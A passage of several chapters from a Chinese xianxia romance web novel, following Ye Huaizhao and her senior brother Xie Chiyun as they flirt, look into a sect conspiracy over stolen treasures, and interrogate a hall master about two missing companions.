他说:“倘若庄黎与山槐有关系,那或许青冥台回灵珠的失窃并不只是意外。存在两种比较合理的可能。” “其一,回灵珠是庄黎与山槐的交易内容。他将回灵珠以‘不小心失窃’的理由赠与山槐,而山槐为他完成某件事情。” “其二……” 叶怀昭眨了眨眼睛,接口说:“其二,就是回灵珠并没有失窃,反而是庄黎借山槐的手得到了青冥台和无相宫的两样秘宝。” 毕竟如果三大宗门的秘宝只有青冥台没有失窃,难免会让人怀疑这其中是否有什么隐情,进而吸引了不该有的注意。 一起失踪了秘宝反而才是正常的。 话说到这里,又回到了最原始的那个问题。 ——那三件秘宝搜集在一起究竟是要做什么? ——这是否和青冥台内疑似干扰魂魄的阵法或祭坛有关? 叶怀昭下意识想要去转自己的双银环,然后又一次地摸了空,偏偏谢迟云还在目不转睛地盯着她,让叶怀昭不得不假装给他的手腕摸脉。 谢迟云眨了下眼睛,没有说话,用目光传递自己的困惑。 叶怀昭绷着脸,一本正经说:“师兄,你常年手脚冰凉,可能是气血不足,有点肾阳虚。” 谢迟云:“……” 他把玩叶怀昭发尾的手指一顿。 他缓缓松手,在叶怀昭无辜的目光注视下俯身,双手撑在她的身侧,严严实实地将她的手背覆盖住。 “原来师妹一直是这样认为的吗?”他似笑非笑地说。 叶怀昭挣脱了他的手,一只手掐住了他的下颌,眨眼说:“不是我这样认为,而是医书上就这么教的呀。事实不就如此吗?” 谢迟云任由她掐着自己,眼眸微微弯起,眼中却没有什么笑意。 他没有接叶怀昭的这句话,反而提及了另外一个看似毫不相关的话题。 “师妹手上的双银环怎么不见了?”他问。 叶怀昭:“……忘带了。” 这是今日第三个人问她这句话。 叶怀昭本来该是习以为常的麻木,但她看着谢迟云垂下的眼睛,心中忽地升起一众种名的危机感。 她的直觉是对的。 因为下一瞬,对方便接着问:“师妹的脸色不太好,是昨夜没有睡好吗?” 叶怀昭:“……” 她伸手想要将自己身前的男人推开,却后知后觉的发觉两人如今的姿势很是微妙。 谢迟云一手掐着她的腰,另只手松松搭着她的肩膀,双腿将她困在了桌子和他的身体之间。 一个逃也逃不走的姿势。 叶怀昭心中警铃大作,勉强保持着自己面上的冷静,微扬着下巴倨傲说:“只是失眠了而已。” 谢迟云:“只是失眠吗?” 他的声音平静,像是一点也没觉察到叶怀昭话语间的故作镇定一样。 叶怀昭偷偷去觑他的面容,然后推了推他的胸膛:“当然了,只是失眠。既然知道我昨晚失眠了师兄还不让开,我要回去补觉。” 她的手被谢迟云抓住了。 叶怀昭眼皮一跳,眼睁睁看着他抓着自己的手凑到了唇边,以一种让她心惊胆战的熟悉感轻轻侧首,在她的手心落下缠绵温柔至极的吻。 这只是一个落在手心的吻。 可昨夜的梦境几乎是同步着在叶怀昭眼前闪过。 略微粗糙磨着皮肤的被衾,纠缠着不放的双唇,以及一点一点、在黑暗中摸索着寻找某处的手指。 叶怀昭不自觉的脊背颤抖,脸颊几乎是在一刹那爆红。 而做出这个动作的男人只是微笑着看着她,轻声说:“可为什么我昨夜听到,师妹一直在叫我呢?” “师妹究竟是因为什么,而被‘打扰’得一夜都没睡呢?” 叶怀昭的脊背贴着冰凉的桌面,在叫都叫不出来一声细细密密的吻中,愤恨地咬住他的手指,却被握着抓着腕子重新将故意摘下的镯子戴上。 两道银镯相撞,发出一声伶仃脆响。 叶怀昭想都不用想就知道究竟是什么暴露了她自己。 ——连魂蛊只会在她心情剧烈波动时,让第二人听到她无法忍耐的心中声音。 第76章 第七十六章“因为你会被某人打翻的醋…… 叶怀昭从苏白口中听说了他们昨夜去青冥台后发生的事情。 昨夜他们将鬼修带去青冥台戒律堂后,因为证据确凿,戒律堂很快便给鬼修判了刑罚,当夜就押去了青冥台的地牢。 但是觊觎齐元明魂魄的人还是没能查出来。 而戒律堂的堂主也不知道青冥台存在什么损伤魂魄的阵法或祭坛。 他甚至还劈头盖脸说了一顿提出这个问题的齐元明。 “青冥台若是存在这种祸害人的东西,你让我、让庄仙首的脸往哪搁?”他反问说,“你若是说东境某处存在这种东西也就罢了——你觉得这东西就在青冥台,而青冥台的众位仙长谁也没发现的概率有多少?” 齐元明一时间被问住了。 但跟在他旁边的苏白没被这些干扰,一点也不慌。 他说:“堂主,既然这东西存在,肯定不会那么简单就可以被我们发现,肯定要借助一些方法或者手段。” 戒律堂堂主转头去看这个笑得像是只狐狸似的青年。 他神色不善地眯了眯眼睛,认出来他这张脸:“长风门的小子,你在说我们青冥台有窝藏贼人吗?” “我可没这么说,堂主,”苏白摊开手,眼神无辜,“晚辈只是根据现状合理推测一下。” “合理推测。” 戒律堂堂主咀嚼着他的这句话,盯了他片刻,忽地冷笑一声:“就算如你所说,青冥台真的存在这种东西,那怎么别人都没有被影响,只有他被影响到了?” 他说:“青冥台中八字特殊、魂魄不稳的人可不止他一个——庄仙首的徒弟,沈玉山便是其中代表。难道你要说庄仙首就连自己徒弟的异样都注意不到吗?” 那可不一定。 苏白在心中大逆不道地想,万一做出此事的就是庄仙首呢? 不过这句话他也只在心里想想,没说出口。 只是在回到客栈,面对叶怀昭的时候,他倒是诚实道:“叶师妹,你刚入世或许还有所不知,其实庄仙首在修真界的名声也不怎么好。” 叶怀昭对他投来一个困惑的眼神。 “庄仙首是与叶掌门差不多年纪的人,但他的模样却远比叶掌门、甚至颂慈仙尊还要苍老——尽管他们以相近的年龄跨入炼魂境。” 好像是哦。 叶怀昭眨了下眼睛,问他:“这其中有什么原因吗?” “当然有。”苏白闲不住似的转着自己手中不知从哪摸来的扇子,慢吞吞说,“庄仙首这幅样子,纯属他自己年轻时做的孽。” “他为了让自己的灵根更加纯粹、修炼更加顺畅,不惜替换过满身灵骨。”苏白摇着头,叹息说,“替换灵骨哪是什么想做就做随随便便的事情呢?这和在鬼门关中走过一遭没什么区别。所以即便后来他成了仙首,也无法挽救自己不断衰弱下去的肉/体。” “庄黎,庄仙首,是个为了提高修为,什么都愿意去做的疯子。”最后,他如此评价道。 说完这话,苏白抬手给自己倒了杯水润了润嗓子,放下茶盏时发现对面的叶怀昭似乎还在沉思。 她的样子不像是被他的话镇住了,倒像是忽然被点拨了什么,于是陷入了自顾自的思索。 苏白不知道她在想什么。 但他想了想 ,忽然出声道:“修真界的仙首之位是由修真界坤脉决定,可没人具体知道坤脉到底是通过什么标准挑选仙首。” “不过根据观察来看,每一任仙首都是有‘成仙天资’的人,只侧重才能,对其他方面——比如年龄、身份倒是不怎么关注。” “换句话说……” 他转着扇子的手腕一翻,忽地用扇尖指了一下叶怀昭,半开玩笑道,“说不准在庄仙首死去后,叶师妹能成为下任仙首呢。” 他的扇子稍微扬起一点风,将叶怀昭脸颊边的碎发吹起一瞬。 尽管只有一瞬,可修士敏锐的感官还是让他眼尖地瞥到了一抹浅淡的痕迹。 这道痕迹很是浅淡,藏在偏下方的位置,与叶怀昭耳后的一颗痣离得很近,不注意看根本发现不了。 像是被什么划伤的、还是……? 苏白兀自沉思。 而此时叶怀昭已经从方才的思索中回过神了。 若是放在旁人身上,听到这句话后或许还会自谦一番,说没有什么资格云云。 但叶怀昭却是泰然自若说:“当然有这个可能。” 苏白顿了一会儿,哑然失笑。 他刚要再调侃几句,指向叶怀昭的扇子忽地被一只从旁伸出的手握住了。 那只手松松握着,姿态闲适,像是没怎么使劲。 但苏白却抽都抽不出来。 “苏白仙君,”握住他扇子的人声音平静说,“外面有人找,大约是你青冥台的那位朋友。” 苏白慢了半拍才说:“啊,是乘玉君。” 他腾出一只手指了一下门外,目光清澈:“我这就去找他,不过乘玉君能先松个手吗?” 他诚恳说:“我打不过你。” 在旁围观的叶怀昭:“……” 她眼睁睁看着前一刻还吊儿郎当坐在她面前说八卦的男人站起,不带一丝留恋地转身就走,像是身后有人在追他似的。 等到房间的门被对方贴心地带上,谢迟云才说:“师妹今日打算做什么?” 叶怀昭一瞧见他这张脸就气得牙痒,但这次她克制了自己咬人的冲动——主要是发现咬也没用,反而会让这人像是得了什么奖励似的,更变本加厉。 这次她选择转过脸不去看他,眼不见心不烦。 “去找小春和林前辈。”她说。 待在东阳城的这几日,叶怀昭在帮谢迟云寻找山槐的位置,而桑春倒是更想去调查林漱雪和封爻的事情。 林漱雪不太想让他们插手,但也没有强硬拒绝,桑春磨了她几日,那位凌霄仙君便默认了她的调查。 叶怀昭前几天还能通过灵盘和桑春联系,但是不知道桑春那边出了什么事,从三天前就再没给她发过任何讯息。 她找不到人,只好又去问林漱雪有没有见过桑春,但奇怪的是林漱雪也一直没有回复她,像是失踪了一样。 谢迟云“嗯”了一声,说:“我陪师妹去找。” 叶怀昭本能地想转头去看,又硬生生克制了自己转头的欲望,背对着他凶巴巴说:“不要你陪。” 谢迟云:“为什么?” “没有为什么。”叶怀昭哼了一声,“我现在不想见你。” 谢迟云:“为什么?” “都说别问了!”叶怀昭气恼地说,“谁让你说话不算话。” 她虽然背对着谢迟云,但叶怀昭依旧偷偷竖着耳朵去听身后的声音,发现许久都没有动静。 ——这又是在搞哪一出? 她在心中胡乱猜测着想,难不成是终于意识到自己的错误、准备放弃了? 还没等叶怀昭思考出来结果,她坐着的凳子忽地向后被拖拽了几分,刺啦的刺耳声音蓦的在地板上响起。 旋即她的腰上一紧,直接被人掐着腰提起来,转了个方向放到了身后人的腿上。 叶怀昭:“!” 她向后猛地仰头,后背抵在桌沿,警惕地说:“你又要干什么?” 谢迟云安静地看着她,眸光清透:“没有做什么,只是想纠正一下师妹的话。” 他抓着叶怀昭的手掌心,弯起眼眸说:“我没有说话不算话。” “按照师妹说的,我没有动嘴,”他轻声道。 叶怀昭一时间都被他理直气壮的态度震住了。 旋即她一巴掌拍在近在咫尺的胸膛上,又不解恨地捂住他的嘴,气得语无伦次:“没有动嘴,我是说让你闭嘴别说话——那你就没用别的吗?” 叶怀昭去玉水洞时曾经在马车里做了个梦。 梦到她拉着谢迟云的手和自己比大小。 之前没觉得,现在叶怀昭恨不得直接把他的那只手砍掉。 ——长那么大干什么啊! 谢迟云被她捂着嘴,只露出一双清透干净的眼眸,瞧上去格外无辜。 但叶怀昭已经不再是之前那个叶怀昭了。 她心中一点也不为所动,反而警告他说:“你要是再敢动手动脚,今天别想跟我出去。” 叶怀昭听着对方的闷笑,胸膛的震动牵连着她的手指似乎也有些酥麻,又恼怒地推了他一下。 “不许再笑!” 谢迟云从善如流地收住笑,只稍稍弯着眼睛,眸光中落着几缕笑意。 叶怀昭这才松开捂着他的手掌。 但是还没等她从谢迟云的身上下来,就听外面隐隐约约传来脚步声,有人远远的就叫: “叶仙君在这里吗?乘玉君是住在此处吗?” 是陌生的人声。 叶怀昭下意识地先将房门用灵力封住了,没等下个动作,就听到外面那人忽然受惊似的叫了一声,然后就像是被捂着嘴巴“唔唔”地拖走了。 叶怀昭:“?” 一墙之隔的屋外。 齐元明神色茫然地看着苏白将客栈的小厮捂着嘴巴拉过拐角。 小厮瞪大了眼睛,“唔唔”地指着他,又指着不远处叶怀昭房间的方向,脸上的困惑几乎要凝成实质。 他忍了又忍,还是没忍住问:“苏兄,你这是做什么?” 苏白先是遗憾地看了他一眼。 “还以为你这种类型会是她喜欢的。”他摇头嘀咕着,“这不还是吃了窝边草嘛。” 齐元明:“?” 没来得及细问,他就听面前的男人说:“齐兄,给叶师妹送完谢礼后你就回青冥台吧。” 齐元明:“啊?苏兄不是说可以再请叶仙君吃顿饭吗?” “唉,我之前说的事情都作废。”苏白一脸高深莫测,“你要是这时候进去请叶师妹吃饭,以后也不用回青冥台了。” 齐元明:“为什么?” 苏白:“因为你会被某人打翻的醋坛淹死在这里。” 第77章 第七十七章“心上人,便是眼前人。”…… 叶怀昭从屋中走出来,狐疑地瞧着一溜排开站在拐角的三个人。 “刚刚我好像听到有人在叫我,”她不解地问,“你们这是在做什么?” 齐元明偷偷去看苏白,而后者面不改色说:“没做什么,这不是怕有人打搅叶师妹休息嘛。” 叶怀昭:“我没在休息。” 苏白尴尬地摸了摸鼻子。 好在叶怀昭也没过多纠结之前的事,她将目光挪到瑟瑟发抖的小厮身上:“有什么事吗?” 小厮:“叶仙君,庄仙君正在客栈外等您,说有事要和您聊聊。” 庄丹雪?她来找我干什么。 叶怀昭诧异地挑了下眉,跟着小厮去了客栈外。 在她的身后,谢迟云紧跟着从屋中走出,正好瞧见正要离开的苏白和齐元明。 苏白:“……” 他干笑了两声,说:“真巧啊乘玉君。” 他一边说着,一边上前一步,正好将齐元明挡在身后。 但显然他忘了自己和齐元明的体型差距,他站在对方前面时连齐元明的半个身子都挡不住。 谢迟云看了一眼齐元明,又看了一眼明显有些心虚的苏白,脸上保持着礼貌微笑:“是很巧, 我也要找苏白仙君来着,只是你方才走得太快了。” ——我走得太快,难道不是你跟我说外面有人找我,特意把我支出去的吗? 苏白在心中无语地想。 但听到谢迟云的下一句话,他脸上的表情骤然一变。 “苏仙君和齐仙君是昨夜将那个鬼修送入青冥台地牢的吧?”谢迟云确认地问,得到肯定回答后,他说,“在方才,从青冥台传来消息——” “那个鬼修死在了地牢。” 叶怀昭走出客栈,才发觉外面在下着小雨。 空中漂浮着一种潮湿的清新气息,将东阳城融化于雾蒙蒙的水汽中。 叶怀昭看到庄丹雪站在客栈外的屋檐下,微微抬着头,似乎在看着从檐角滚落的雨珠发呆。 她这幅样子很是少见。 叶怀昭见到她时,她总是保持着一副谁也瞧不起的傲慢姿态,像是世上所有事,除了修炼之外没有任何值得她多花时间关注的样子。 ……在这方面,她倒是和她父亲庄黎一模一样。 叶怀昭心中刚刚闪过这个念头,就被庄丹雪听到了动静,目光直直看了过来。 既然被发现了,叶怀昭干脆主动走了过去:“庄仙君找我做什么?” 庄丹雪用目光观察着她。 这也是庄丹雪第一次如此心平气和地和叶怀昭对视。 她们两人身份相同,年纪也相仿,就连修为也不相上下。从小到大,提起庄丹雪就必然提起叶怀昭。 之前和叶怀昭第一次见面时她就知道,她一定不会喜欢这个人。 因为她和她太像了。 可在某种方面来说,她们又太截然不同。 她看着叶怀昭,就像在看一个走向另外一种可能的自己。 如果她想证明自己从小到大的选择一直都是正确的、合理的,那她就必须打败这个拥有另一种可能的人。 但可笑的是,她的人生从开始便是错误的。 这还谈什么否定另一种可能呢? 庄丹雪心中思绪流淌,停顿片刻后,她说:“你既然已经去过玉水洞,为什么还没走?” 叶怀昭随口说:“在陪我师兄啊。你不想让我待在东阳城?” 庄丹雪撇过头,看着被雨幕笼罩的东阳城。 “如果你们来东阳城的目的只是为了寻找封灵镜,”她停顿一瞬,还是道,“不必再找了,它不在东阳城。” 封灵镜如果当真在山槐手中,那它的确不在东阳城。 但庄丹雪为什么要告诉她这件事?而且她是从哪知道封灵镜下落的? 叶怀昭盯着她被水汽浸染地有些湿润的侧脸,若有所思地问:“你知道些什么?” “我什么都不知道。”庄丹雪几乎是话赶话地说。 她转过头,神色复杂,眼中像是有几分犹豫,但最终还是勉强维持了曾经的高傲,硬邦邦地说:“你们应该尽快离开东阳城,这不是你们长风门的人该待的地方。” “为什么?”叶怀昭敏锐问道,“青冥台要做什么?” 庄丹雪脸上的神色有一瞬间的变化。 但只有短短一瞬,她眼中的情绪便消失。少女咬着牙,再一次地重复了一遍:“我说过了,我什么也不知道。” 叶怀昭没说话,只是安静观察着她。 隔了许久,就当庄丹雪以为叶怀昭终于脑子聪明听进了她的劝告时,少女轻飘飘说:“多谢庄仙君的提醒,不过我不会走,我还没找到小春呢。” 都这时候了,还找什么别人! 庄丹雪气得跺脚,张口就想要把她骂醒:“你——” “庄师妹。” 一道男人的声音穿透在屋檐噼里啪啦砸落的雨声,像是一把冷冽的剑突兀插进了叶怀昭和庄丹雪中间。 沈玉山撑着伞走过来,声音温和问:“药堂堂主说你身上的伤还没好,怎么又跑出来了?” 庄丹雪抿着唇,迅速收拢了自己方才的神色,故作自然:“我只是出来透透气。” 她伸手拽了一下沈玉山的衣袖,像是很不想对方在此停留一样,很快便道:“劳烦沈师兄出来寻我,我这就回去。” 沈玉山不动如山地站在原地,没有动。 他侧首去看叶怀昭。 “叶仙君,”他礼貌询问道,“乘玉君如今也在东阳城?” 叶怀昭应了一声。 于是沈玉山温声道:“若是两位仙君有空,不妨来青冥台坐坐。如今师尊回来了,他一直说想要和两位问道大会魁首再见上一面呢。” ——他的态度似乎和庄丹雪截然相反。 叶怀昭压下心中疑惑,嘴中敷衍应道:“嗯嗯,有空一定去。” 沈玉山又说了几句,皆被叶怀昭应付了回去。聊了几句,他像是也发现了叶怀昭的抗拒,于是寻了个理由带着庄丹雪离开了。 他来这一趟似乎只为了找庄丹雪回去。 叶怀昭从背后看着他们离开的身影。 城中雨已经慢慢变小了,只是还有灰蒙蒙的阴云盘踞半空,几个扎着朝天辫的小孩在湿漉漉的长街上疯跑,嬉笑踩水玩。 而此时,翻涌不断的阴云中忽地划过一道银白闪电,震天的雷声紧接着在天幕中炸起。 这道雷声震耳欲聋,措不及防响起时吓得踩水玩的小孩一个哆嗦,没站稳摔在了地上。 在小孩的哭嚎声中,谢迟云走了出来。 叶怀昭问他:“我爹真的不来东境吗?” 谢迟云答非所问:“在这期间他们都不会来。” 叶怀昭撇了下嘴,不太高兴地嘀咕了一句:“真会给自己挑着清闲事来做。” 她说这句话时,苏白正好和齐元明出来,和她打了声招呼后便要匆匆忙忙向着青冥台的方向赶去。 叶怀昭叫住了他们。 “齐仙君。”她走过去,迎着齐元明的目光,她问道,“你知道封堂主这几日在何处吗?” 封堂主? 齐元明一愣,虽然不知道叶怀昭问这事干什么,但还是努力帮她思索着。 “封堂主前几日一直在望水城轮班吧?应该在昨日回了东阳城,如今的话……”他想了想,猜测道,“应该在他的家中吧。” 叶怀昭向他要了封爻的住所位置,谢迟云瞥了一眼,说:“师妹不是说要去找林前辈和桑师妹吗?” “是啊,”叶怀昭在心中思考着这位置在哪,“我现在在找是谁动了手、将她们藏在了哪里。” 在见到庄丹雪之前,叶怀昭只知道她们可能被什么事情绊住了,无法同她联系。 但现在她已经完全抛弃了这个念头,开始思索怎么解救这两人了。 她沉浸在思考中,抬脚就想向屋檐外走去,被旁边的男人抓住了胳膊。 还没等她抬头,眼前的视野一暗,一柄油纸伞撑在了她的头顶。 叶怀昭没忍住,盯着看了片刻,然后转头说:“这是不是你之前在清风观的那把伞?” “师妹还记得?”谢迟云撑着伞,和叶怀昭走进雨幕,随口说。 叶怀昭心想她当然记得。 就在这把伞下,她第一次怀疑谢迟云的魔族身份,可心中的警惕心还没来得及升起,就被后来他那一连串的甜言蜜语哄得晕头转向,差点将自己赔了出去。 她思索着,不期然抬头,忽地瞧见了谢迟云看着她的目光。 谢迟云的目光在看向她时一向温和,叶怀昭对这种眼神并不陌生,但随着和他相处时间的变长,她无师自通地学会了从细微处分辨出来对方的真实情绪。 比如现在。 叶怀昭想了想,忽地伸出手,像是上一次那样抓住了谢迟云握着伞柄的手。 她的动作很是突然,谢迟云手上撑的伞被她拽得偏移一瞬,湿润的水珠顺着倾斜的伞面滚滚滑落,在两人的面前倾泻出薄薄的水雾。 水帘外,薄雨丝丝缕缕飘落,墙边砖缝的青苔裹着晶亮的水意,几簇野花倔强地生长,花瓣在水滴落下的瞬间稍稍蜷缩。 而叶怀昭抓着伞柄,在水雾的遮挡下踮起脚,于谢迟云的唇边落下一个轻缓的吻。 这个吻转瞬即逝,而她也在对方怔愣的瞬间眯着眼笑问他:“师兄,上一次在 伞下时,你是不是就想让我亲你?” 谢迟云缓慢地眨了一下眼睛。 但他说:“是又不是。” 迎着叶怀昭惊讶的目光,他捧起她的手,在少女银镯摇晃的腕间落下一个柔和的吻。 “那时不敢妄求师妹的吻,”他轻声说,“只敢想你允许我的接近。” 她曾问过他心上人是谁。 直到现在谢迟云才能回答她这个问题。 他轻轻垂首,水珠滚落,而话语湮没于忽地鼓噪的大雨之中。 “心上人,便是眼前人。” 第78章 第七十八章怨恨 东阳城内雨声如注。 轰隆的雷声响起那刻,封爻忽地从睡梦中惊醒。 他喘着粗气,脸色惨白,紧缩的瞳孔颤抖着,冷汗将中衣浸透,湿漉漉地贴在身上。 不知过了多久,封爻才从那噩梦中回神,耳边的轰鸣慢慢变弱,窗外噼里啪啦的暴雨声渐渐灌入他的耳中。 停顿片刻后,他动作迟缓地掀开被子,给自己倒了一杯水,拿起杯子喝水时才发觉自己的手竟然在颤抖。 男人盯着自己的手看了片刻,而后面无表情地换了一只手,冰凉的茶水灌入喉咙,让他刺痛而昏沉的大脑清醒了一瞬。 就在这时,他听到自己放在一旁的灵盘嗡嗡地震动。 是沈玉山。 封爻大概扫了一眼,发现对方在询问他前些日子从药贩子收购回来的天命芝放到哪里了,药堂堂主说没有见到。 封爻回复他后,将灵盘扔到一旁发呆。 说实话,他并不知道庄仙首大肆收购天命芝是为了什么。 天命芝是炼制修补魂魄丹药的一味重要药材,但据封爻所知,庄黎的身体衰弱并非是将魂魄补救回来就能治好的。 不如说从他当年决定换骨剔灵根的那刻,他就注定了早早衰亡的结局。 如果不想那么早的死去,当年又何苦做出那样的事情呢?如今后悔又有什么用呢? 封爻并不理解,但他也不在乎。 无论庄黎死还是生,只会对那些想要仙首之位、或者青冥台掌门之位的人有影响,对他这个处于权力边缘、没有什么欲望索求的堂主没有任何影响。 早在很多年前,他的心便已经随着那一场几乎要将天空也烧出个洞的大火中死去了。 他将大开的窗子关上,而后换了身衣服,准备给自己做顿饭。 封爻没有父母,也没有娶妻,更没有孩子。 一个人的饭菜不太好做,但这么多年中他已经学会了应付自己,生火煮面,再随便炒一点青菜混着鸡蛋,一道无比简单的青菜汤面便出炉了。 他端着面碗准备回到寝屋,在进门的那刻忽地眼神一凌。 “谁?!” 长剑铮然一声出鞘,饱含灵力与杀意的剑气势不可挡地攻向门后的阴影。 然而那人的反应很快,几乎是同时抽剑挡住了他的剑气。而后脚尖一点,竟是直直向着他的方向冲来。 封爻在心中冷笑一声,毫不犹豫地将手中面碗扔开,持剑准备专心致志地与那人缠斗。 可那人似乎并不想与他打架。 在鼻子嗅到一股突如其来的异香时,封爻心中便暗叫不好,却难以阻止自己忽地绵软的手臂。 封爻的攻势被一柄泛着泠泠微光的长剑拦下。 而被他扔开的面碗还没来得落地,就被一只腕坠银镯的素白左手接住,铃叮的脆响中,面碗上腾起的热气与水雾被锋利的剑身斩碎,剑尖直指他的咽喉。 一片寂静中,封爻的身后传来清晰的脚步声,显然那人并没有想隐瞒自己的存在。 男人在他的身后无奈地叹了口气,开口却是带着纵容的笑意。 “师妹,”那人说,“封堂主还没用膳呢,至少也要让堂主用膳后再来说其他事情吧?” 封爻面前的少女瞥了一眼他,哼了一声说:“我看封堂主好像也不是很想吃这碗饭——他刚才做饭时可是一直皱着眉、满脸嫌弃呢。” 封爻被少女指着的喉咙微微滚动,冷肃的脸上难看至极。 他当然知道这两人是什么意思。 看似在闲聊,但每一句都在警告着他。 他们到底在他的屋中潜伏了多久? 从他离开寝屋去厨房、还是被噩梦惊醒、乃至于他的睡梦中? 不知过了多久,男人盯着面前笑意盈盈的少女,声音冰冷说:“长风门的叶仙君,来找我何事?” 叶怀昭轻轻眨了一下眼睛,却没有回答,像是苦恼地越过他的肩头,看向他身后的青年。 “是啊师兄,我来找封堂主是做什么呢?” 在封爻越发冰冷的注视下,面容清隽俊秀的青年从旁走出,先是接过了叶怀昭手中的面碗放到桌上,才回身提醒道:“是来向封堂主询问林前辈事情的。” 叶怀昭佯装恍然大悟地用空闲的手拍了下额头,然后向封爻问道:“封堂主,林前辈来找过你吗?” 封爻从听到林漱雪的名字时就目含杀意,此时更是面无表情:“不知道。” 叶怀昭的剑尖向前递送一瞬,正好抵住了他的脖颈。 “封堂主,”叶怀昭说,“我不太想对你动手,毕竟我们无冤无仇,我也不是什么凶残的人,不想手中多沾一条无辜的性命。” “不过……” 叶怀昭轻声说:“您知道的,我是个医修。这世上能让人生不如死的法子多的是,而我恰好会很多——只要我不让您死,您就一定能‘好好’活着。” 封爻当然知道这件事。 甚至他觉得按照长风门那个护短的劲,如果叶怀昭真的“不小心”杀了他,青冥台也不会选择和长风门为了他的死据理力争。 更何况谢迟云在这里,他们能不能发觉是叶怀昭杀了他都难说。 封爻在心中飞速权衡着利弊,面上却依旧维持着冷漠的神色。 “她没来找过我。”半晌,他厌恶地垂眼,“就算来找我,我也不会见她。” 叶怀昭观察着他的表情,觉得按照这种厌恶程度来说,他应该没说谎。 既然没来找过封爻,那林漱雪会和桑春去哪里呢? 在来找封爻的路上,谢迟云和叶怀昭已经分别通过不同途径收集了他的讯息情报。 和叶怀昭所想的一样,他如此憎恨林漱雪就是因为他的父母便是当年那个被凶兽袭击村庄的村民。 他躲在家中地窖中幸存了下来,可他的父母兄弟皆被凶兽残忍杀害。 此后他便永远地离开了南境,千里迢迢来到与长风门世代宿敌的青冥台拜师求道,并最终坐上了堂主之位,一生无妻无子。 不过虽然他有这重纠葛,但叶怀昭趁着封爻去厨房做饭的时候和谢迟云悄悄搜查了一番他的屋子,没有发现林漱雪或者桑春的痕迹。 而他之前一直在玉水洞轮值,看起来也没有任何对林漱雪下手的机会和时间。 林漱雪在东阳城的仇人应该只有封爻一个,如果她的失踪不是封爻所为,那还会有谁会对她下手? 在叶怀昭思索的时候,封爻也在不动声色地观察她。 他盯了片刻,冷笑一声:“怎么,那女人不见了?” 叶怀昭没有回应,他便自顾自地讥讽道:“她欠下了那么多的罪孽,早就该死了,即便是走在路上被人嫉恶如仇地砍了一刀都不稀奇。” 叶怀昭看着他:“其实我一直很想知道你为什么那么怨恨林漱雪。” 她说:“你在怨恨她来迟一步,没有来得及救下你想让她救下的所有人吗?” 她的语气随意,可听到这话的男人脸上的表情却一瞬间破碎。 他像是被激怒了一般,竟然不顾自己脖间的剑尖,直接向前走了一步逼近叶怀昭。 “你懂什么?”他的表情扭曲,“她有什么好让我怨恨的?我只不过是为所有以为她是什么品行高洁正人君子的人感到不值罢了!” 叶怀昭没来得及收回的剑尖在他的脖颈上划出一道长长的血痕,男人却 没有痛觉一样,死死盯着她。 “如果她从未表现得那样崇高,谁会将虚无缥缈的愿望寄托于她的身上?如果不是她先将那两只凶兽斩杀却又弃之不管,难道那剩余的凶兽会暴怒得撕碎整个村庄吗?” 他的声音因为恨意而嘶哑扭曲:“我从不怪她没来得救下我的父母亲人,我只恨自己没有早一步看清她虚伪的嘴脸!” 嘶吼过后粗壮的喘息在屋中响起,而叶怀昭有点惊异地瞧着说出此番话的男人。 一只手凭空伸出,将不自觉一步步逼近叶怀昭的男人拦住。 谢迟云:“封堂主,你逾矩了,我师妹并不是你怨恨的对象。” 他的声音将沉浸于自己世界的男人唤醒。 但叶怀昭倒是不满地瞥了一眼谢迟云,背在身后的左手将仅剩一点的挑起愤怒的燃香碾碎。 叶怀昭:“但事实就是你似乎在怨恨她没有一直伪装下去,你在怨恨她没有像是‘欺骗’其他人一样‘欺骗’你们,怨恨她没有像救其他人一样救下你们。” 封爻似乎还要张口辩解,但叶怀昭已经突兀地收回了长剑,将自己因为动作而散开的碎发别到耳后。 “总而言之就是,你并不知道她在哪里对不对?”叶怀昭若有所思,“她之前也在调查失踪弟子之事,这事似乎也和你们青冥台有关,难不成青冥台中还有其他人想要她的命?” 弟子失踪之事从他们还留在平清城时就在调查,一路调查到东阳城也没有停止。 而众所周知,东阳城是青冥台的地界,若是城中出现了什么本不该出现的事情,那有极大的可能就是青冥台的纵容。 如果有人不想让林漱雪继续调查下去,就极有可能对她下手,阻止她的调查。 叶怀昭思索着。 既然封爻这里没有线索,她也没有再待下去的欲望。 叶怀昭收剑入鞘,拉着谢迟云便准备离开。 但是这次反而是封爻叫住了她。 “你说林漱雪在调查弟子失踪之事?”他冷不丁说,“你觉得凶手在青冥台?” 叶怀昭微微侧身,纠正说:“不是我觉得,只是她在关注而已。” 她随口说:“怎么,封堂主有什么线索想提供给我们吗?” 封爻沉默地站在门口。 他没有用灵力挡雨,头发和上衣皆被雨水浸湿,黝黑的眼眸和苍白的脸颊在浸透的雨中对比强烈,眼中闪烁着叶怀昭看不懂的剧烈情绪。 可没等叶怀昭细问,那人沉默地看了她片刻,就嘭地一声大力摔上门,阻隔了她打量的目光。 叶怀昭不满:“他这是什么意思?” 谢迟云重新为她打上伞:“连我们也一同恨上的意思吧。” 第79章 第七十九章乌鸦 临近夜里,暴雨渐渐停止,远处山峦褪去灰蒙蒙的颜色,在黑夜中显出青黑的轮廓。 叶怀昭和谢迟云顶着大雨在东阳城内及附近翻了个底朝天,也没找到林漱雪和桑春留下的任何痕迹。 没有办法,他们只能先回客栈。 “小春如果遇到危险,一定会想方设法地留下痕迹让我找到她,”叶怀昭看了一眼自己的灵盘,她和桑春的聊天还停留在好几日前,“如果连这都无法做到,说明她们遇到的情况已经无法让她有余力留痕。” 她微微抬头,看见一弯明月湿漉漉地挂在山峦上方,其下是在朦胧山雾中显出微弱光芒、屋脊层叠起伏的修真界第一宗门——青冥台。 能让桑春和林漱雪没有反抗能力的修士有很多,但在这东阳城中并不多,且基本上都和青冥台有千丝万缕的关系。 叶怀昭捏着自己的下巴,思索着自己要不要再混进青冥台转一圈。 她倒是有理由去青冥台闲坐一会,但是怎么潜入那些不对宾客开放的地界是个大问题。 齐元明似乎是内门弟子,不知道能不能说动他带她进入。或者她再去找一趟封爻,再威胁他一遍? 叶怀昭此时的沉默很好猜,谢迟云瞥了没说话的少女一眼,很快便捕捉到了她的想法。 他想了想,说道:“过两日就是青冥台祖师爷开山立派的日子,届时青冥台会举行祭祖仪式,应该会邀请一些其他宗门的仙师来参加,人员估计会比较混乱。” “如果师妹想去青冥台做什么事情,或许可以考虑一下这个时间,”这样说着,谢迟云还是提醒道,“不过师妹觉得桑师妹可以撑到两天后吗?” “撑到那时候应该没有问题。” 叶怀昭说:“我们之前在玉水洞中留下的符文还没撤掉,我能感知到她此时应该没有生命危险。而且如果抓她的人想要杀她,早在第一时间就会对她们动手,应该不会特意留她们这么久。” 